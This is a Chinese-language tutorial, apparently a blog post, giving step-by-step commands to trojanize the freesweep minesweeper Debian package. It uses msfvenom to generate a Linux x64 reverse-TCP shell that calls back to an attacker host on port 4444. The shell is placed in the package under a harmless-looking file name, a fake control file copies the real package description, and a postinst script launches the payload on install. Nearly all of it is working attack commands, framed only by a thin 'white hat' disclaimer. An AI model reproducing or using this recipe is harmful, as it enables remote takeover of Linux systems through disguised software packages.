前言一、kali二、操作步骤
1.下载一个正常的软件包2.将软件包转移到root目录下3.将安装包解压到root目录中解压为free（文件名）4.制作后门放入free文件中5.创建DEBIAN附件并进入6.创建软件包信息7.创建deb软件包安装脚本后门8.给脚本执行权限9.构建新的deb安装包10.开启handler监听在linux安装该软件包 三.总结
前言
通过kali系统中的msf在软件包中植入后门制作deb恶意软件包对linux系统进行shell获取
提示：以下是本篇文章正文内容，下面案例可供参考
一、kali示例：Kali Linux预装了许多渗透测试软件，包括nmap 、Wireshark 、John the Ripper，以及Aircrack-ng.用户可通过硬盘、live CD或live USB运行Kali Linux，并通过kali过一把黑客的瘾
二、操作步骤 1.下载一个正常的软件包代码如下（示例）：
apt --download-only install freesweap(或者其他软件名)
默认下载目录为/var/cache/apt/archives/
代码如下（示例）：
mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb /root/
3.将安装包解压到root目录中解压为free（文件名）
dpkg -x freesweep_1.0.2-1_amd64.deb free #这里可能遇到显示文件名不存在可以通过： ls /var/cache/apt/archives中查看你的文件名进行复制粘贴（复制粘贴按键为crtl+shift+c/v）4.制作后门放入free文件中
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.124.3 LPORT=4444 -b'x00' -i 10 -f elf -o /root/free/usr/games/freesweep_scores #此处LHOST根据自己的kali的ip设置 #之后可以通过ls /root.free.usr/games查看是否由freesweep_scores来确定是否生成成功5.创建DEBIAN附件并进入
mkdir free/DEBIAN && cd free/DEBIAN6.创建软件包信息
tee /root/free/DEBIAN/control << 'EOF' #<<'EOF'表示开始 Package: freesweep Version: 1.0.2-1 Section: Games and Amusement Priority: optional Architecture: amd64 Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com) Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game,where one tries to find all the mines without igniting any,based on hints given by the computer.Unlike most implementations of this game,Freesweep works in any visual text display -in Linux console,in an xterm,and in most text-based terminals currently in use EOF #第二个EOF表示结束7.创建deb软件包安装脚本后门
tee /root/free/DEBIAN/postinst << 'EOF' sudo chomd 755 /usr/games/freesweep_scores sudo /usr/games/freesweep_scores & EOF8.给脚本执行权限
chmod +775 /root/free/DEBIAN/postinst #通过ls -l !$验证是否权限给予成功 #若如下图一样出现绿色的文件则代表成功9.构建新的deb安装包
dpkg-deb --build /root/free/10.开启handler监听在linux安装该软件包
#开启handler监听可以参考上一篇博文 dpkg -i free.deb进行安装 #dpkg -r freesweap可以进行卸载三.总结
总结：
以上就是制作恶意deb安装包进行linux的入侵，学习之后希望大家可以提升自己做一名白帽子
声明：本文仅传授知识，读者读后所作造成后果于本人无关
